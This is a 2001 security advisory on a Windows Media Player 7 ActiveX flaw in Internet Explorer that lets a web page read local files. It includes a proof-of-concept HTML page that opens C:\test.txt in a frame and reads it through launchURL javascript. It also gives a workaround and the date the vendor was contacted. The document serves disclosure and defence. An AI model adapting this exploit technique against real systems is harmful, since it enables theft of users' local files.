Georgi Guninski security advisory #31, 2001
Windows Media Player 7 and IE vulnerability - executing arbitrary programs
Systems affected:
Windows Media Player 7 and IE
Risk: High
Date: 1 January 2001
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified.
You may not modify it and distribute it or distribute parts of it without
the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies, especially the
fact that Georgi Guninski
is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
Description:
There is a security vulnerability in Windows Media Player 7 exploitable
thru IE which allows reading local files which in turn allows executing
arbitratrary programs.
This may lead to taking full control over user's computer.
Details:
The problem is the WMP ActiveX Control which allows launching javascript
URLs in arbitrary already open frames. This allows taking over the frames's
DOM. Examine the code for more info.
The code is:
--------wmp7ie.html------------------------------------------------
<object id="o1"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">
<PARAM NAME="defaultFrame"
value="georgi">
</object>
<SCRIPT>
alert("This page
reads C:\\test.txt");
window.open("file://c:/test.txt","georgi");
function f()
{
document.o1.object.launchURL("javascript:alert(document.body.innerText)");
}
setTimeout("f()",1000);
</SCRIPT>
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Workaround:
Disable Active Scripting.
Demonstration is available at:
http://www.guninski.com/wmp7ie.html
Vendor status:
Microsoft was contacted on 26 December 2000.
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